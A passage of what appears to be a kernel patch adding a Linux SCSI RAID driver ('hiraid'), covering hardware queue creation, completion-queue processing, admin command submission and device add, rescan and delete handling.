return hiraid_wait_control_ready(hdev, cap, true); +} + +static void hiraid_init_queue(struct hiraid_queue *hiraidq, u16 qid) +{ + struct hiraid_dev *hdev = hiraidq->hdev; + + memset((void *)hiraidq->cqes, 0, CQ_SIZE(hiraidq->q_depth)); + + hiraidq->sq_tail = 0; + hiraidq->cq_head = 0; + hiraidq->cq_phase = 1; + hiraidq->q_db = &hdev->dbs[qid * 2 * hdev->db_stride]; + hiraidq->prp_small_pool = hdev->prp_extra_pool[qid % extra_pool_num]; + hdev->online_queues++; + atomic_set(&hiraidq->inflight, 0); +} + +static inline bool hiraid_cqe_pending(struct hiraid_queue *hiraidq) +{ + return (le16_to_cpu(hiraidq->cqes[hiraidq->cq_head].status) & 1) == + hiraidq->cq_phase; +} + +static void hiraid_complete_io_cmnd(struct hiraid_queue *ioq, struct hiraid_completion *cqe) +{ + struct hiraid_dev *hdev = ioq->hdev; + struct blk_mq_tags *tags; + struct scsi_cmnd *scmd; + struct hiraid_mapmange *mapbuf; + struct request *req; + unsigned long elapsed; + + atomic_dec(&ioq->inflight); + + if (work_mode) + tags = hdev->shost->tag_set.tags[0]; + else + tags = hdev->shost->tag_set.tags[ioq->qid - 1]; + req = blk_mq_tag_to_rq(tags, le16_to_cpu(cqe->cmd_id)); + if (unlikely(!req || !blk_mq_request_started(req))) { + dev_warn(hdev->dev, "invalid id[%d] completed on queue[%d]\n", + le16_to_cpu(cqe->cmd_id), ioq->qid); + return; + } + + scmd = blk_mq_rq_to_pdu(req); + mapbuf = scsi_cmd_priv(scmd); + + elapsed = jiffies - scmd->jiffies_at_alloc; + dev_log_dbg(hdev->dev, "cid[%d] qid[%d] finish IO cost %3ld.%3ld seconds\n", + le16_to_cpu(cqe->cmd_id), ioq->qid, elapsed / HZ, elapsed % HZ); + + if (cmpxchg(&mapbuf->state, CMD_FLIGHT, CMD_COMPLETE) != CMD_FLIGHT) { + dev_warn(hdev->dev, "cid[%d] qid[%d] enters abnormal handler, cost %3ld.%3ld seconds\n", + le16_to_cpu(cqe->cmd_id), ioq->qid, elapsed / HZ, elapsed % HZ); + WRITE_ONCE(mapbuf->state, CMD_TMO_COMPLETE); + + if (mapbuf->sge_cnt) { + mapbuf->sge_cnt = 0; + scsi_dma_unmap(scmd); + } + hiraid_free_mapbuf(hdev, mapbuf); + + return; + } + + hiraid_check_status(mapbuf, scmd, cqe); + if (mapbuf->sge_cnt) { + mapbuf->sge_cnt = 0; + scsi_dma_unmap(scmd); + } + hiraid_free_mapbuf(hdev, mapbuf); + scmd->scsi_done(scmd); +} + +static void hiraid_complete_admin_cmnd(struct hiraid_queue *adminq, struct hiraid_completion *cqe) +{ + struct hiraid_dev *hdev = adminq->hdev; + struct hiraid_cmd *adm_cmd; + + adm_cmd = hdev->adm_cmds + le16_to_cpu(cqe->cmd_id); + if (unlikely(adm_cmd->state == CMD_IDLE)) { + dev_warn(adminq->hdev->dev, "invalid id[%d] completed on queue[%d]\n", + le16_to_cpu(cqe->cmd_id), le16_to_cpu(cqe->sq_id)); + return; + } + + adm_cmd->status = le16_to_cpu(cqe->status) >> 1; + adm_cmd->result0 = le32_to_cpu(cqe->result); + adm_cmd->result1 = le32_to_cpu(cqe->result1); + + complete(&adm_cmd->cmd_done); +} + +static void hiraid_send_async_event(struct hiraid_dev *hdev, u16 cid); + +static void hiraid_complete_async_event(struct hiraid_queue *hiraidq, struct hiraid_completion *cqe) +{ + struct hiraid_dev *hdev = hiraidq->hdev; + u32 result = le32_to_cpu(cqe->result); + + dev_info(hdev->dev, "recv async event, cid[%d] status[0x%x] result[0x%x]\n", + le16_to_cpu(cqe->cmd_id), le16_to_cpu(cqe->status) >> 1, result); + + hiraid_send_async_event(hdev, le16_to_cpu(cqe->cmd_id)); + + if ((le16_to_cpu(cqe->status) >> 1) != HIRAID_SC_SUCCESS) + return; + switch (result & 0x7) { + case HIRAID_ASYN_EVENT_NOTICE: + hiraid_handle_async_notice(hdev, result); + break; + case HIRAID_ASYN_EVENT_VS: + hiraid_handle_async_vs(hdev, result, le32_to_cpu(cqe->result1)); + break; + default: + dev_warn(hdev->dev, "unsupported async event type[%u]\n", result & 0x7); + break; + } +} + +static void hiraid_complete_pthru_cmnd(struct hiraid_queue *ioq, struct hiraid_completion *cqe) +{ + struct hiraid_dev *hdev = ioq->hdev; + struct hiraid_cmd *ptcmd; + + ptcmd = hdev->io_ptcmds + (ioq->qid - 1) * HIRAID_PTHRU_CMDS_PERQ + + le16_to_cpu(cqe->cmd_id) - hdev->scsi_qd; + + ptcmd->status = le16_to_cpu(cqe->status) >> 1; + ptcmd->result0 = le32_to_cpu(cqe->result); + ptcmd->result1 = le32_to_cpu(cqe->result1); + + complete(&ptcmd->cmd_done); +} + +static inline void hiraid_handle_cqe(struct hiraid_queue *hiraidq, u16 idx) +{ + struct hiraid_completion *cqe = &hiraidq->cqes[idx]; + struct hiraid_dev *hdev = hiraidq->hdev; + u16 cid = le16_to_cpu(cqe->cmd_id); + + if (unlikely(!work_mode && (cid >= hiraidq->q_depth))) { + dev_err(hdev->dev, "invalid command id[%d] completed on queue[%d]\n", + cid, cqe->sq_id); + return; + } + + dev_log_dbg(hdev->dev, "cid[%d] qid[%d] result[0x%x] sqid[%d] status[0x%x]\n", + cid, hiraidq->qid, le32_to_cpu(cqe->result), + le16_to_cpu(cqe->sq_id), le16_to_cpu(cqe->status)); + + if (unlikely(hiraidq->qid == 0 && cid >= HIRAID_AQ_BLK_MQ_DEPTH)) { + hiraid_complete_async_event(hiraidq, cqe); + return; + } + + if (unlikely(hiraidq->qid && cid >= hdev->scsi_qd)) { + hiraid_complete_pthru_cmnd(hiraidq, cqe); + return; + } + + if (hiraidq->qid) + hiraid_complete_io_cmnd(hiraidq, cqe); + else + hiraid_complete_admin_cmnd(hiraidq, cqe); +} + +static void hiraid_complete_cqes(struct hiraid_queue *hiraidq, u16 start, u16 end) +{ + while (start != end) { + hiraid_handle_cqe(hiraidq, start); + if (++start == hiraidq->q_depth) + start = 0; + } +} + +static inline void hiraid_update_cq_head(struct hiraid_queue *hiraidq) +{ + if (++hiraidq->cq_head == hiraidq->q_depth) { + hiraidq->cq_head = 0; + hiraidq->cq_phase = !hiraidq->cq_phase; + } +} + +static inline bool hiraid_process_cq(struct hiraid_queue *hiraidq, u16 *start, u16 *end, int tag) +{ + bool found = false; + + *start = hiraidq->cq_head; + while (!found && hiraid_cqe_pending(hiraidq)) { + if (le16_to_cpu(hiraidq->cqes[hiraidq->cq_head].cmd_id) == tag) + found = true; + hiraid_update_cq_head(hiraidq); + } + *end = hiraidq->cq_head; + + if (*start != *end) + writel(hiraidq->cq_head, hiraidq->q_db + hiraidq->hdev->db_stride); + + return found; +} + +static bool hiraid_poll_cq(struct hiraid_queue *hiraidq, int cid) +{ + u16 start, end; + bool found; + + if (!hiraid_cqe_pending(hiraidq)) + return 0; + + spin_lock_irq(&hiraidq->cq_lock); + found = hiraid_process_cq(hiraidq, &start, &end, cid); + spin_unlock_irq(&hiraidq->cq_lock); + + hiraid_complete_cqes(hiraidq, start, end); + return found; +} + +static irqreturn_t hiraid_handle_irq(int irq, void *data) +{ + struct hiraid_queue *hiraidq = data; + irqreturn_t ret = IRQ_NONE; + u16 start, end; + + spin_lock(&hiraidq->cq_lock); + if (hiraidq->cq_head != hiraidq->last_cq_head) + ret = IRQ_HANDLED; + + hiraid_process_cq(hiraidq, &start, &end, -1); + hiraidq->last_cq_head = hiraidq->cq_head; + spin_unlock(&hiraidq->cq_lock); + + if (start != end) { + hiraid_complete_cqes(hiraidq, start, end); + ret = IRQ_HANDLED; + } + return ret; +} + +static int hiraid_setup_admin_queue(struct hiraid_dev *hdev) +{ + struct hiraid_queue *adminq = &hdev->queues[0]; + u32 aqa; + int ret; + + dev_info(hdev->dev, "start disable controller\n"); + + ret = hiraid_disable_control(hdev); + if (ret) + return ret; + + ret = hiraid_alloc_queue(hdev, 0, HIRAID_AQ_DEPTH); + if (ret) + return ret; + + aqa = adminq->q_depth - 1; + aqa |= aqa << 16; + writel(aqa, hdev->bar + HIRAID_REG_AQA); + lo_hi_writeq(adminq->sq_buffer_phy, hdev->bar + HIRAID_REG_ASQ); + lo_hi_writeq(adminq->cq_buffer_phy, hdev->bar + HIRAID_REG_ACQ); + + dev_info(hdev->dev, "start enable controller\n"); + + ret = hiraid_enable_control(hdev); + if (ret) { + ret = -ENODEV; + return ret; + } + + adminq->cq_vector = 0; + ret = pci_request_irq(hdev->pdev, adminq->cq_vector, hiraid_handle_irq, NULL, + adminq, "hiraid%d_q%d", hdev->instance, adminq->qid); + if (ret) { + adminq->cq_vector = -1; + return ret; + } + + hiraid_init_queue(adminq, 0); + + dev_info(hdev->dev, "setup admin queue success, queuecount[%d] online[%d] pagesize[%d]\n", + hdev->queue_count, hdev->online_queues, hdev->page_size); + + return 0; +} + +static u32 hiraid_get_bar_size(struct hiraid_dev *hdev, u32 nr_ioqs) +{ + return (HIRAID_REG_DBS + ((nr_ioqs + 1) * 8 * hdev->db_stride)); +} + +static int hiraid_create_admin_cmds(struct hiraid_dev *hdev) +{ + u16 i; + + INIT_LIST_HEAD(&hdev->adm_cmd_list); + spin_lock_init(&hdev->adm_cmd_lock); + + hdev->adm_cmds = kcalloc_node(HIRAID_AQ_BLK_MQ_DEPTH, sizeof(struct hiraid_cmd), + GFP_KERNEL, hdev->numa_node); + + if (!hdev->adm_cmds) { + dev_err(hdev->dev, "alloc admin cmds failed\n"); + return -ENOMEM; + } + + for (i = 0; i < HIRAID_AQ_BLK_MQ_DEPTH; i++) { + hdev->adm_cmds[i].qid = 0; + hdev->adm_cmds[i].cid = i; + list_add_tail(&(hdev->adm_cmds[i].list), &hdev->adm_cmd_list); + } + + dev_info(hdev->dev, "alloc admin cmds success, num[%d]\n", HIRAID_AQ_BLK_MQ_DEPTH); + + return 0; +} + +static void hiraid_free_admin_cmds(struct hiraid_dev *hdev) +{ + kfree(hdev->adm_cmds); + hdev->adm_cmds = NULL; + INIT_LIST_HEAD(&hdev->adm_cmd_list); +} + +static struct hiraid_cmd *hiraid_get_cmd(struct hiraid_dev *hdev, enum hiraid_cmd_type type) +{ + struct hiraid_cmd *cmd = NULL; + unsigned long flags; + struct list_head *head = &hdev->adm_cmd_list; + spinlock_t *slock = &hdev->adm_cmd_lock; + + if (type == HIRAID_CMD_PTHRU) { + head = &hdev->io_pt_list; + slock = &hdev->io_pt_lock; + } + + spin_lock_irqsave(slock, flags); + if (list_empty(head)) { + spin_unlock_irqrestore(slock, flags); + dev_err(hdev->dev, "err, cmd[%d] list empty\n", type); + return NULL; + } + cmd = list_entry(head->next, struct hiraid_cmd, list); + list_del_init(&cmd->list); + spin_unlock_irqrestore(slock, flags); + + WRITE_ONCE(cmd->state, CMD_FLIGHT); + + return cmd; +} + +static void hiraid_put_cmd(struct hiraid_dev *hdev, struct hiraid_cmd *cmd, + enum hiraid_cmd_type type) +{ + unsigned long flags; + struct list_head *head = &hdev->adm_cmd_list; + spinlock_t *slock = &hdev->adm_cmd_lock; + + if (type == HIRAID_CMD_PTHRU) { + head = &hdev->io_pt_list; + slock = &hdev->io_pt_lock; + } + + spin_lock_irqsave(slock, flags); + WRITE_ONCE(cmd->state, CMD_IDLE); + list_add_tail(&cmd->list, head); + spin_unlock_irqrestore(slock, flags); +} + +static bool hiraid_admin_need_reset(struct hiraid_admin_command *cmd) +{ + switch (cmd->common.opcode) { + case HIRAID_ADMIN_DELETE_SQ: + case HIRAID_ADMIN_CREATE_SQ: + case HIRAID_ADMIN_DELETE_CQ: + case HIRAID_ADMIN_CREATE_CQ: + case HIRAID_ADMIN_SET_FEATURES: + return false; + default: + return true; + } +} + +static int hiraid_reset_work_sync(struct hiraid_dev *hdev); +static inline void hiraid_admin_timeout(struct hiraid_dev *hdev, struct hiraid_cmd *cmd) +{ + /* command may be returned because controller reset */ + if (READ_ONCE(cmd->state) == CMD_COMPLETE) + return; + if (hiraid_reset_work_sync(hdev) == -EBUSY) + flush_work(&hdev->reset_work); +} + +static int hiraid_put_admin_sync_request(struct hiraid_dev *hdev, struct hiraid_admin_command *cmd, + u32 *result0, u32 *result1, u32 timeout) +{ + struct hiraid_cmd *adm_cmd = hiraid_get_cmd(hdev, HIRAID_CMD_ADMIN); + + if (!adm_cmd) { + dev_err(hdev->dev, "err, get admin cmd failed\n"); + return -EFAULT; + } + + timeout = timeout ? timeout : ADMIN_TIMEOUT; + + init_completion(&adm_cmd->cmd_done); + + cmd->common.cmd_id = cpu_to_le16(adm_cmd->cid); + hiraid_submit_cmd(&hdev->queues[0], cmd); + + if (!wait_for_completion_timeout(&adm_cmd->cmd_done, timeout)) { + dev_err(hdev->dev, "cid[%d] qid[%d] timeout, opcode[0x%x] subopcode[0x%x]\n", + adm_cmd->cid, adm_cmd->qid, cmd->usr_cmd.opcode, + cmd->usr_cmd.info_0.subopcode); + + /* reset controller if admin timeout */ + if (hiraid_admin_need_reset(cmd)) + hiraid_admin_timeout(hdev, adm_cmd); + + hiraid_put_cmd(hdev, adm_cmd, HIRAID_CMD_ADMIN); + return -ETIME; + } + + if (result0) + *result0 = adm_cmd->result0; + if (result1) + *result1 = adm_cmd->result1; + + hiraid_put_cmd(hdev, adm_cmd, HIRAID_CMD_ADMIN); + + return adm_cmd->status; +} + +/** + * hiraid_create_cq - send cmd to controller for create controller cq + */ +static int hiraid_create_complete_queue(struct hiraid_dev *hdev, u16 qid, + struct hiraid_queue *hiraidq, u16 cq_vector) +{ + struct hiraid_admin_command admin_cmd; + int flags = HIRAID_QUEUE_PHYS_CONTIG | HIRAID_CQ_IRQ_ENABLED; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.create_cq.opcode = HIRAID_ADMIN_CREATE_CQ; + admin_cmd.create_cq.prp1 = cpu_to_le64(hiraidq->cq_buffer_phy); + admin_cmd.create_cq.cqid = cpu_to_le16(qid); + admin_cmd.create_cq.qsize = cpu_to_le16(hiraidq->q_depth - 1); + admin_cmd.create_cq.cq_flags = cpu_to_le16(flags); + admin_cmd.create_cq.irq_vector = cpu_to_le16(cq_vector); + + return hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); +} + +/** + * hiraid_create_sq - send cmd to controller for create controller sq + */ +static int hiraid_create_send_queue(struct hiraid_dev *hdev, u16 qid, + struct hiraid_queue *hiraidq) +{ + struct hiraid_admin_command admin_cmd; + int flags = HIRAID_QUEUE_PHYS_CONTIG; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.create_sq.opcode = HIRAID_ADMIN_CREATE_SQ; + admin_cmd.create_sq.prp1 = cpu_to_le64(hiraidq->sq_buffer_phy); + admin_cmd.create_sq.sqid = cpu_to_le16(qid); + admin_cmd.create_sq.qsize = cpu_to_le16(hiraidq->q_depth - 1); + admin_cmd.create_sq.sq_flags = cpu_to_le16(flags); + admin_cmd.create_sq.cqid = cpu_to_le16(qid); + + return hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); +} + +static void hiraid_free_all_queues(struct hiraid_dev *hdev) +{ + int i; + struct hiraid_queue *hq; + + for (i = 0; i < hdev->queue_count; i++) { + hq = &hdev->queues[i]; + dma_free_coherent(hdev->dev, CQ_SIZE(hq->q_depth), + (void *)hq->cqes, hq->cq_buffer_phy); + dma_free_coherent(hdev->dev, SQ_SIZE(hq->qid, hq->q_depth), + hq->sq_cmds, hq->sq_buffer_phy); + if (!work_mode) + dma_free_coherent(hdev->dev, SENSE_SIZE(hq->q_depth), + hq->sense_buffer_virt, hq->sense_buffer_phy); + } + + hdev->queue_count = 0; +} + +static void hiraid_free_sense_buffer(struct hiraid_dev *hdev) +{ + if (hdev->sense_buffer_virt) { + dma_free_coherent(hdev->dev, + SENSE_SIZE(hdev->scsi_qd + max_hwq_num * HIRAID_PTHRU_CMDS_PERQ), + hdev->sense_buffer_virt, hdev->sense_buffer_phy); + hdev->sense_buffer_virt = NULL; + } +} + +static int hiraid_delete_queue(struct hiraid_dev *hdev, u8 opcode, u16 qid) +{ + struct hiraid_admin_command admin_cmd; + int ret; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.delete_queue.opcode = opcode; + admin_cmd.delete_queue.qid = cpu_to_le16(qid); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); + + if (ret) + dev_err(hdev->dev, "delete %s:[%d] failed\n", + (opcode == HIRAID_ADMIN_DELETE_CQ) ? "cq" : "sq", qid); + + return ret; +} + +static int hiraid_delete_complete_queue(struct hiraid_dev *hdev, u16 cqid) +{ + return hiraid_delete_queue(hdev, HIRAID_ADMIN_DELETE_CQ, cqid); +} + +static int hiraid_delete_send_queue(struct hiraid_dev *hdev, u16 sqid) +{ + return hiraid_delete_queue(hdev, HIRAID_ADMIN_DELETE_SQ, sqid); +} + +static int hiraid_create_queue(struct hiraid_queue *hiraidq, u16 qid) +{ + struct hiraid_dev *hdev = hiraidq->hdev; + u16 cq_vector; + int ret; + + cq_vector = (hdev->num_vecs == 1) ? 0 : qid; + ret = hiraid_create_complete_queue(hdev, qid, hiraidq, cq_vector); + if (ret) + return ret; + + ret = hiraid_create_send_queue(hdev, qid, hiraidq); + if (ret) + goto delete_cq; + + hiraidq->cq_vector = cq_vector; + ret = pci_request_irq(hdev->pdev, cq_vector, hiraid_handle_irq, NULL, + hiraidq, "hiraid%d_q%d", hdev->instance, qid); + if (ret) { + hiraidq->cq_vector = -1; + dev_err(hdev->dev, "request queue[%d] irq failed\n", qid); + goto delete_sq; + } + + hiraid_init_queue(hiraidq, qid); + + return 0; + +delete_sq: + hiraid_delete_send_queue(hdev, qid); +delete_cq: + hiraid_delete_complete_queue(hdev, qid); + + return ret; +} + +static int hiraid_create_io_queues(struct hiraid_dev *hdev) +{ + u32 i, max; + int ret = 0; + + max = min(hdev->max_qid, hdev->queue_count - 1); + for (i = hdev->online_queues; i <= max; i++) { + ret = hiraid_create_queue(&hdev->queues[i], i); + if (ret) { + dev_err(hdev->dev, "create queue[%d] failed\n", i); + break; + } + } + + if (!hdev->last_qcnt) + hdev->last_qcnt = hdev->online_queues; + + dev_info(hdev->dev, "queue_count[%d] online_queue[%d] last_online[%d]", + hdev->queue_count, hdev->online_queues, hdev->last_qcnt); + + return ret >= 0 ? 0 : ret; +} + +static int hiraid_set_features(struct hiraid_dev *hdev, u32 fid, u32 dword11, void *buffer, + size_t buflen, u32 *result) +{ + struct hiraid_admin_command admin_cmd; + int ret; + u8 *data_ptr = NULL; + dma_addr_t buffer_phy = 0; + + if (buffer && buflen) { + data_ptr = dma_alloc_coherent(hdev->dev, buflen, &buffer_phy, GFP_KERNEL); + if (!data_ptr) + return -ENOMEM; + + memcpy(data_ptr, buffer, buflen); + } + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.features.opcode = HIRAID_ADMIN_SET_FEATURES; + admin_cmd.features.fid = cpu_to_le32(fid); + admin_cmd.features.dword11 = cpu_to_le32(dword11); + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, result, NULL, 0); + + if (data_ptr) + dma_free_coherent(hdev->dev, buflen, data_ptr, buffer_phy); + + return ret; +} + +static int hiraid_configure_timestamp(struct hiraid_dev *hdev) +{ + __le64 timestamp; + int ret; + + timestamp = cpu_to_le64(ktime_to_ms(ktime_get_real())); + ret = hiraid_set_features(hdev, HIRAID_FEATURE_TIMESTAMP, 0, + &timestamp, sizeof(timestamp), NULL); + + if (ret) + dev_err(hdev->dev, "set timestamp failed[%d]\n", ret); + return ret; +} + +static int hiraid_get_queue_cnt(struct hiraid_dev *hdev, u32 *cnt) +{ + u32 q_cnt = (*cnt - 1) | ((*cnt - 1) << 16); + u32 nr_ioqs, result; + int status; + + status = hiraid_set_features(hdev, HIRAID_FEATURE_NUM_QUEUES, q_cnt, NULL, 0, &result); + if (status) { + dev_err(hdev->dev, "set queue count failed, status[%d]\n", + status); + return -EIO; + } + + nr_ioqs = min(result & 0xffff, result >> 16) + 1; + *cnt = min(*cnt, nr_ioqs); + if (*cnt == 0) { + dev_err(hdev->dev, "illegal qcount: zero, nr_ioqs[%d], cnt[%d]\n", nr_ioqs, *cnt); + return -EIO; + } + return 0; +} + +static int hiraid_setup_io_queues(struct hiraid_dev *hdev) +{ + struct hiraid_queue *adminq = &hdev->queues[0]; + struct pci_dev *pdev = hdev->pdev; + u32 i, size, nr_ioqs; + int ret; + + struct irq_affinity affd = { + .pre_vectors = 1 + }; + + /* alloc IO sense buffer for single hw queue mode */ + if (work_mode && !hdev->sense_buffer_virt) { + hdev->sense_buffer_virt = dma_alloc_coherent(hdev->dev, + SENSE_SIZE(hdev->scsi_qd + max_hwq_num * HIRAID_PTHRU_CMDS_PERQ), + &hdev->sense_buffer_phy, GFP_KERNEL | __GFP_ZERO); + if (!hdev->sense_buffer_virt) + return -ENOMEM; + } + + nr_ioqs = min(num_online_cpus(), max_hwq_num); + ret = hiraid_get_queue_cnt(hdev, &nr_ioqs); + if (ret < 0) + return ret; + + size = hiraid_get_bar_size(hdev, nr_ioqs); + ret = hiraid_remap_bar(hdev, size); + if (ret) + return -ENOMEM; + + adminq->q_db = hdev->dbs; + + pci_free_irq(pdev, 0, adminq); + pci_free_irq_vectors(pdev); + hdev->online_queues--; + + ret = pci_alloc_irq_vectors_affinity(pdev, 1, (nr_ioqs + 1), + PCI_IRQ_ALL_TYPES | PCI_IRQ_AFFINITY, &affd); + if (ret <= 0) + return -EIO; + + hdev->num_vecs = ret; + hdev->max_qid = max(ret - 1, 1); + + ret = pci_request_irq(pdev, adminq->cq_vector, hiraid_handle_irq, NULL, + adminq, "hiraid%d_q%d", hdev->instance, adminq->qid); + if (ret) { + dev_err(hdev->dev, "request admin irq failed\n"); + adminq->cq_vector = -1; + return ret; + } + + hdev->online_queues++; + + for (i = hdev->queue_count; i <= hdev->max_qid; i++) { + ret = hiraid_alloc_queue(hdev, i, hdev->ioq_depth); + if (ret) + break; + } + dev_info(hdev->dev, "max_qid[%d] queuecount[%d] onlinequeue[%d] ioqdepth[%d]\n", + hdev->max_qid, hdev->queue_count, hdev->online_queues, hdev->ioq_depth); + + return hiraid_create_io_queues(hdev); +} + +static void hiraid_delete_io_queues(struct hiraid_dev *hdev) +{ + u16 queues = hdev->online_queues - 1; + u8 opcode = HIRAID_ADMIN_DELETE_SQ; + u16 i, pass; + + if (!pci_device_is_present(hdev->pdev)) { + dev_err(hdev->dev, "pci_device is not present, skip disable io queues\n"); + return; + } + + if (hdev->online_queues < 2) { + dev_err(hdev->dev, "err, io queue has been delete\n"); + return; + } + + for (pass = 0; pass < 2; pass++) { + for (i = queues; i > 0; i--) + if (hiraid_delete_queue(hdev, opcode, i)) + break; + + opcode = HIRAID_ADMIN_DELETE_CQ; + } +} + +static void hiraid_pci_disable(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + u32 i; + + for (i = 0; i < hdev->online_queues; i++) + pci_free_irq(pdev, hdev->queues[i].cq_vector, &hdev->queues[i]); + pci_free_irq_vectors(pdev); + if (pci_is_enabled(pdev)) { + pci_disable_pcie_error_reporting(pdev); + pci_disable_device(pdev); + } + hdev->online_queues = 0; +} + +static void hiraid_disable_admin_queue(struct hiraid_dev *hdev, bool shutdown) +{ + struct hiraid_queue *adminq = &hdev->queues[0]; + u16 start, end; + + if (pci_device_is_present(hdev->pdev)) { + if (shutdown) + hiraid_shutdown_control(hdev); + else + hiraid_disable_control(hdev); + } + + if (hdev->queue_count == 0) { + dev_err(hdev->dev, "err, admin queue has been delete\n"); + return; + } + + spin_lock_irq(&adminq->cq_lock); + hiraid_process_cq(adminq, &start, &end, -1); + spin_unlock_irq(&adminq->cq_lock); + hiraid_complete_cqes(adminq, start, end); +} + +static int hiraid_create_prp_pools(struct hiraid_dev *hdev) +{ + int i; + char poolname[20] = { 0 }; + + hdev->prp_page_pool = dma_pool_create("prp list page", hdev->dev, + PAGE_SIZE, PAGE_SIZE, 0); + + if (!hdev->prp_page_pool) { + dev_err(hdev->dev, "create prp_page_pool failed\n"); + return -ENOMEM; + } + + for (i = 0; i < extra_pool_num; i++) { + sprintf(poolname, "prp_list_256_%d", i); + hdev->prp_extra_pool[i] = dma_pool_create(poolname, hdev->dev, EXTRA_POOL_SIZE, + EXTRA_POOL_SIZE, 0); + + if (!hdev->prp_extra_pool[i]) { + dev_err(hdev->dev, "create prp extra pool[%d] failed\n", i); + goto destroy_prp_extra_pool; + } + } + + return 0; + +destroy_prp_extra_pool: + while (i > 0) + dma_pool_destroy(hdev->prp_extra_pool[--i]); + dma_pool_destroy(hdev->prp_page_pool); + + return -ENOMEM; +} + +static void hiraid_free_prp_pools(struct hiraid_dev *hdev) +{ + int i; + + for (i = 0; i < extra_pool_num; i++) + dma_pool_destroy(hdev->prp_extra_pool[i]); + dma_pool_destroy(hdev->prp_page_pool); +} + +static int hiraid_request_devices(struct hiraid_dev *hdev, struct hiraid_dev_info *dev) +{ + u32 nd = le32_to_cpu(hdev->ctrl_info->nd); + struct hiraid_admin_command admin_cmd; + struct hiraid_dev_list *list_buf; + dma_addr_t buffer_phy = 0; + u32 i, idx, hdid, ndev; + int ret = 0; + + list_buf = dma_alloc_coherent(hdev->dev, PAGE_SIZE, &buffer_phy, GFP_KERNEL); + if (!list_buf) + return -ENOMEM; + + for (idx = 0; idx < nd;) { + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.get_info.opcode = HIRAID_ADMIN_GET_INFO; + admin_cmd.get_info.type = HIRAID_GET_DEVLIST_INFO; + admin_cmd.get_info.cdw11 = cpu_to_le32(idx); + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); + + if (ret) { + dev_err(hdev->dev, "get device list failed, nd[%u] idx[%u] ret[%d]\n", + nd, idx, ret); + goto out; + } + ndev = le32_to_cpu(list_buf->dev_num); + + dev_info(hdev->dev, "get dev list ndev num[%u]\n", ndev); + + for (i = 0; i < ndev; i++) { + hdid = le32_to_cpu(list_buf->devinfo[i].hdid); + dev_info(hdev->dev, "devices[%d], hdid[%u] target[%d] channel[%d] lun[%d] attr[0x%x]\n", + i, hdid, le16_to_cpu(list_buf->devinfo[i].target), + list_buf->devinfo[i].channel, + list_buf->devinfo[i].lun, + list_buf->devinfo[i].attr); + if (hdid > nd || hdid == 0) { + dev_err(hdev->dev, "err, hdid[%d] invalid\n", hdid); + continue; + } + memcpy(&dev[hdid - 1], &list_buf->devinfo[i], + sizeof(struct hiraid_dev_info)); + } + idx += ndev; + + if (ndev < MAX_DEV_ENTRY_PER_PAGE_4K) + break; + } + +out: + dma_free_coherent(hdev->dev, PAGE_SIZE, list_buf, buffer_phy); + return ret; +} + +static void hiraid_send_async_event(struct hiraid_dev *hdev, u16 cid) +{ + struct hiraid_queue *adminq = &hdev->queues[0]; + struct hiraid_admin_command admin_cmd; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.common.opcode = HIRAID_ADMIN_ASYNC_EVENT; + admin_cmd.common.cmd_id = cpu_to_le16(cid); + + hiraid_submit_cmd(adminq, &admin_cmd); + dev_info(hdev->dev, "send async event to controller, cid[%d]\n", cid); +} + +static inline void hiraid_init_async_event(struct hiraid_dev *hdev) +{ + u16 i; + + for (i = 0; i < hdev->ctrl_info->asynevent; i++) + hiraid_send_async_event(hdev, i + HIRAID_AQ_BLK_MQ_DEPTH); +} + +static int hiraid_add_device(struct hiraid_dev *hdev, struct hiraid_dev_info *devinfo) +{ + struct Scsi_Host *shost = hdev->shost; + struct scsi_device *sdev; + + dev_info(hdev->dev, "add device, hdid[%u] target[%d] channel[%d] lun[%d] attr[0x%x]\n", + le32_to_cpu(devinfo->hdid), le16_to_cpu(devinfo->target), + devinfo->channel, devinfo->lun, devinfo->attr); + + sdev = scsi_device_lookup(shost, devinfo->channel, le16_to_cpu(devinfo->target), 0); + if (sdev) { + dev_warn(hdev->dev, "device is already exist, channel[%d] targetid[%d] lun[%d]\n", + devinfo->channel, le16_to_cpu(devinfo->target), 0); + scsi_device_put(sdev); + return -EEXIST; + } + scsi_add_device(shost, devinfo->channel, le16_to_cpu(devinfo->target), 0); + return 0; +} + +static int hiraid_rescan_device(struct hiraid_dev *hdev, struct hiraid_dev_info *devinfo) +{ + struct Scsi_Host *shost = hdev->shost; + struct scsi_device *sdev; + + dev_info(hdev->dev, "rescan device, hdid[%u] target[%d] channel[%d] lun[%d] attr[0x%x]\n", + le32_to_cpu(devinfo->hdid), le16_to_cpu(devinfo->target), + devinfo->channel, devinfo->lun, devinfo->attr); + + sdev = scsi_device_lookup(shost, devinfo->channel, le16_to_cpu(devinfo->target), 0); + if (!sdev) { + dev_warn(hdev->dev, "device is not exit rescan it, channel[%d] target_id[%d] lun[%d]\n", + devinfo->channel, le16_to_cpu(devinfo->target), 0); + return -ENODEV; + } + + scsi_rescan_device(&sdev->sdev_gendev); + scsi_device_put(sdev); + return 0; +} + +static int hiraid_delete_device(struct hiraid_dev *hdev, struct hiraid_dev_info *devinfo) +{ + struct Scsi_Host *shost = hdev->shost; + struct scsi_device *sdev; + + dev_info(hdev->dev, "remove device, hdid[%u] target[%d] channel[%d] lun[%d] attr[0x%x]\n", + le32_to_cpu(devinfo->hdid), le16_to_cpu(devinfo->target), + devinfo->channel, devinfo->lun, devinfo->attr); + + sdev = scsi_device_lookup(shost, devinfo->channel, le16_to_cpu(devinfo->target), 0); + if (!sdev) { + dev_warn(hdev->dev, "device is not exit remove it, channel[%d] target_id[%d] lun[%d]\n", + devinfo->channel, le16_to_cpu(devinfo->target), 0); + return 